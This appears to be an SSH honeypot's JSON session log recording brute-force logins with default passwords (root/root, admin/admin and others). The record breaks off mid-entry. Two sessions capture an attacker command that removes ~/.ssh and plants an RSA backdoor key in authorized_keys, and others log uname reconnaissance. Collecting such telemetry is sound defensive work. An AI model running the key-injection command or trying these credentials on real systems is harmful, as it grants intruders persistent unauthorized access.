Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: system
{
"id": "a096d18bce80",
"src_ip": "171.243.150.132",
"start_time": "2026-07-29T17:39:16.316097Z",
"end_time": "2026-07-29T17:39:20.519157Z",
"duration": "4.2",
"version": "SSH-2.0-AsyncSSH_2.1.0",
"hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
"attempts": [
{
"user": "system",
"pass": "OkwKcECs8qJP2Z"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / root123
{
"id": "b08da61596e6",
"src_ip": "171.243.150.132",
"start_time": "2026-07-29T17:38:11.188795Z",
"end_time": "2026-07-29T17:38:13.251986Z",
"duration": "2.1",
"version": "SSH-2.0-AsyncSSH_2.1.0",
"hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "root123"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ftp_client
{
"id": "d1e78a041872",
"src_ip": "179.32.53.148",
"start_time": "2026-07-29T17:37:38.749974Z",
"end_time": "2026-07-29T17:37:40.542960Z",
"duration": "1.8",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "ftp_client",
"pass": "ftp_client"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "1795cdea0929",
"src_ip": "116.181.16.25",
"start_time": "2026-07-29T17:37:36.985838Z",
"end_time": "2026-07-29T17:39:37.007391Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "998608373df3",
"src_ip": "91.92.43.109",
"start_time": "2026-07-29T17:36:49.285129Z",
"end_time": "2026-07-29T17:36:51.011225Z",
"duration": "1.7",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "1675a5c48853",
"src_ip": "74.119.144.57",
"start_time": "2026-07-29T17:36:10.033750Z",
"end_time": "2026-07-29T17:38:10.043140Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "0b02e35b5c69",
"src_ip": "202.103.55.158",
"start_time": "2026-07-29T17:35:16.363015Z",
"end_time": "2026-07-29T17:37:16.393605Z",
"duration": "120.0",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / admin@123
{
"id": "9707c7af156d",
"src_ip": "27.79.2.68",
"start_time": "2026-07-29T17:34:29.394687Z",
"end_time": "2026-07-29T17:34:31.836705Z",
"duration": "2.4",
"version": "SSH-2.0-AsyncSSH_2.1.0",
"hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin@123"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / root
{
"id": "eeae59731828",
"src_ip": "27.79.2.68",
"start_time": "2026-07-29T17:32:23.940421Z",
"end_time": "2026-07-29T17:34:12.239252Z",
"duration": "108.3",
"version": "SSH-2.0-AsyncSSH_2.1.0",
"hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "root"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 60,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: dalila
{
"id": "19e3ae700af6",
"src_ip": "2.57.121.112",
"start_time": "2026-07-29T17:31:09.828093Z",
"end_time": "2026-07-29T17:31:16.348574Z",
"duration": "6.5",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [
{
"user": "dalila",
"pass": "dalila"
},
{
"user": "dalila",
"pass": "dalila1"
},
{
"user": "dalila",
"pass": "dalila123"
},
{
"user": "dalila",
"pass": "dalila1234"
},
{
"user": "dalila",
"pass": "dalila12345"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: support / support
{
"id": "a544cd513319",
"src_ip": "171.243.150.132",
"start_time": "2026-07-29T17:28:34.585730Z",
"end_time": "2026-07-29T17:28:38.643359Z",
"duration": "4.1",
"version": "SSH-2.0-AsyncSSH_2.1.0",
"hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "support",
"pass": "support"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "f79d79888870",
"src_ip": "192.252.215.6",
"start_time": "2026-07-29T17:27:45.091628Z",
"end_time": "2026-07-29T17:29:45.101743Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: config
{
"id": "bc6a57fcd53b",
"src_ip": "171.243.150.132",
"start_time": "2026-07-29T17:27:39.515026Z",
"end_time": "2026-07-29T17:28:05.804664Z",
"duration": "26.3",
"version": "SSH-2.0-AsyncSSH_2.1.0",
"hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
"attempts": [
{
"user": "config",
"pass": "config"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bot
{
"id": "c351763af112",
"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:27:12.517433Z",
"end_time": "2026-07-29T17:27:14.359331Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "bot",
"pass": "12345"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "e415b02537b6",
"src_ip": "70.166.167.47",
"start_time": "2026-07-29T17:27:09.831361Z",
"end_time": "2026-07-29T17:29:09.867133Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: squid
{
"id": "276ec5719a30",
"src_ip": "27.79.2.68",
"start_time": "2026-07-29T17:26:20.998438Z",
"end_time": "2026-07-29T17:26:23.931741Z",
"duration": "2.9",
"version": "SSH-2.0-AsyncSSH_2.1.0",
"hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
"attempts": [
{
"user": "squid",
"pass": "squid"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bot
{
"id": "ab3a8799c376",
"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:25:29.406130Z",
"end_time": "2026-07-29T17:25:31.243493Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "bot",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bot
{
"id": "fe147eb043dc",
"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:23:51.041227Z",
"end_time": "2026-07-29T17:23:52.880164Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "bot",
"pass": "bot"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ubnt
{
"id": "03b0c805bed8",
"src_ip": "27.79.2.68",
"start_time": "2026-07-29T17:23:44.482504Z",
"end_time": "2026-07-29T17:23:47.154540Z",
"duration": "2.7",
"version": "SSH-2.0-AsyncSSH_2.1.0",
"hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
"attempts": [
{
"user": "ubnt",
"pass": "ubnt"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "fd37fba61eff",
"src_ip": "43.163.90.141",
"start_time": "2026-07-29T17:23:42.914702Z",
"end_time": "2026-07-29T17:23:44.091594Z",
"duration": "1.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "e86c3a0557c5",
"src_ip": "43.163.90.141",
"start_time": "2026-07-29T17:23:40.559485Z",
"end_time": "2026-07-29T17:23:42.728647Z",
"duration": "2.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / a12345678!
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "05c46cef00b6",
"src_ip": "43.163.90.141",
"start_time": "2026-07-29T17:23:38.166628Z",
"end_time": "2026-07-29T17:23:44.087490Z",
"duration": "5.9",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "a12345678!"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: tradingbot
{
"id": "32f8fff33ac8",
"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:22:15.588341Z",
"end_time": "2026-07-29T17:22:17.430120Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "tradingbot",
"pass": "tradingbot"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: user / user
{
"id": "74d643e98b97",
"src_ip": "27.79.2.68",
"start_time": "2026-07-29T17:21:38.499111Z",
"end_time": "2026-07-29T17:21:40.833459Z",
"duration": "2.3",
"version": "SSH-2.0-AsyncSSH_2.1.0",
"hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "user"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: diego
{
"id": "c38b197aa65a",
"src_ip": "43.163.90.141",
"start_time": "2026-07-29T17:21:05.514096Z",
"end_time": "2026-07-29T17:21:07.683001Z",
"duration": "2.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "diego",
"pass": "123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: trader
{
"id": "970313eac85c",
"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:20:36.457377Z",
"end_time": "2026-07-29T17:20:38.301791Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "trader",
"pass": "trader"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "1c8b70ffdc4e",
"src_ip": "18.218.118.203",
"start_time": "2026-07-29T17:19:51.183092Z",
"end_time": "2026-07-29T17:19:51.309358Z",
"duration": "0.1",
"version": "SSH-2.0-Go",
"hassh": "e54ef3ec27fe1fea7ab64d3fa05359fd",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: installer
{
"id": "a25ff0d0e1f2",
"src_ip": "27.79.2.68",
"start_time": "2026-07-29T17:18:52.347406Z",
"end_time": "2026-07-29T17:18:56.462637Z",
"duration": "4.1",
"version": "SSH-2.0-AsyncSSH_2.1.0",
"hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
"attempts": [
{
"user": "installer",
"pass": "installer"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: trading
{
"id": "f3642b741fbc",
"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:18:51.926848Z",
"end_time": "2026-07-29T17:18:53.776229Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "trading",
"pass": "trading"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "c57544277fd8",
"src_ip": "43.163.90.141",
"start_time": "2026-07-29T17:18:32.777768Z",
"end_time": "2026-07-29T17:18:33.982887Z",
"duration": "1.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "da5c6584beb8",
"src_ip": "43.163.90.141",
"start_time": "2026-07-29T17:18:30.442317Z",
"end_time": "2026-07-29T17:18:32.587708Z",
"duration": "2.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Beijing2025
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "ac39df01b2b9",
"src_ip": "43.163.90.141",
"start_time": "2026-07-29T17:18:28.020833Z",
"end_time": "2026-07-29T17:18:33.980029Z",
"duration": "6.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Beijing2025"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sol
{
"id": "dbe4bcb104c5",
"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:17:11.711615Z",
"end_time": "2026-07-29T17:17:13.549411Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "sol",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / admin
{
"id": "ff45f189c624",
"src_ip": "27.79.2.68",
"start_time": "2026-07-29T17:16:45.981919Z",
"end_time": "2026-07-29T17:16:48.289610Z",
"duration": "2.3",
"version": "SSH-2.0-AsyncSSH_2.1.0",
"hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "admin"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "e9f239daba84",
"src_ip": "18.218.118.203",
"start_time": "2026-07-29T17:16:31.249568Z",
"end_time": "2026-07-29T17:16:31.255243Z",
"duration": "0.0",
"version": "",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / admin
{
"id": "aff63f347ad9",
"src_ip": "171.243.150.132",
"start_time": "2026-07-29T17:16:23.121756Z",
"end_time": "2026-07-29T17:16:26.176780Z",
"duration": "3.1",
"version": "SSH-2.0-AsyncSSH_2.1.0",
"hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rahim
{
"id": "9e4977f61f2f",
"src_ip": "43.163.90.141",
"start_time": "2026-07-29T17:16:00.068421Z",
"end_time": "2026-07-29T17:16:02.231678Z",
"duration": "2.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "rahim",
"pass": "rahim@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sol
{
"id": "6742ca9c1709",
"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:15:29.712483Z",
"end_time": "2026-07-29T17:15:31.563816Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "sol",
"pass": "123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sol
{
"id": "687cc2f25dfc",
"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:13:46.533109Z",
"end_time": "2026-07-29T17:13:48.370231Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "sol",
"pass": "sol123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dev
{
"id": "610d2f9486ec",
"src_ip": "43.163.90.141",
"start_time": "2026-07-29T17:13:25.577382Z",
"end_time": "2026-07-29T17:13:27.755252Z",
"duration": "2.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "dev",
"pass": "admin@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: default
{
"id": "67fead8a3172",
"src_ip": "194.31.8.12",
"start_time": "2026-07-29T17:12:39.284208Z",
"end_time": "2026-07-29T17:12:42.888413Z",
"duration": "3.6",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "default",
"pass": "default"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: validator
{
"id": "0178c04c7362",
"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:12:05.845562Z",
"end_time": "2026-07-29T17:12:07.680454Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "validator",
"pass": "validator"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: andrei
{
"id": "1190dab7dece",
"src_ip": "43.163.90.141",
"start_time": "2026-07-29T17:10:47.102508Z",
"end_time": "2026-07-29T17:10:49.307266Z",
"duration": "2.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "andrei",
"pass": "12345"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: ubuntu / ubuntu
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "3c84b4903eaa",
"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:10:28.725060Z",
"end_time": "2026-07-29T17:10:29.959211Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ubuntu",
"pass": "ubuntu"
},
"commands": [
"/bin/./uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "/bin/./uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: node / node
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "00bebf75deec",
"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:08:52.021159Z",
"end_time": "2026-07-29T17:08:53.258789Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "node",
"pass": "node"
},
"commands": [
"/bin/./uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "/bin/./uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: padmin
{
"id": "96e7ef7bb619",
"src_ip": "43.163.90.141",
"start_time": "2026-07-29T17:08:09.378511Z",
"end_time": "2026-07-29T17:08:11.529269Z",
"duration": "2.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "padmin",
"pass": "padmin"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ethereum
{
"id": "1a86ea301028",
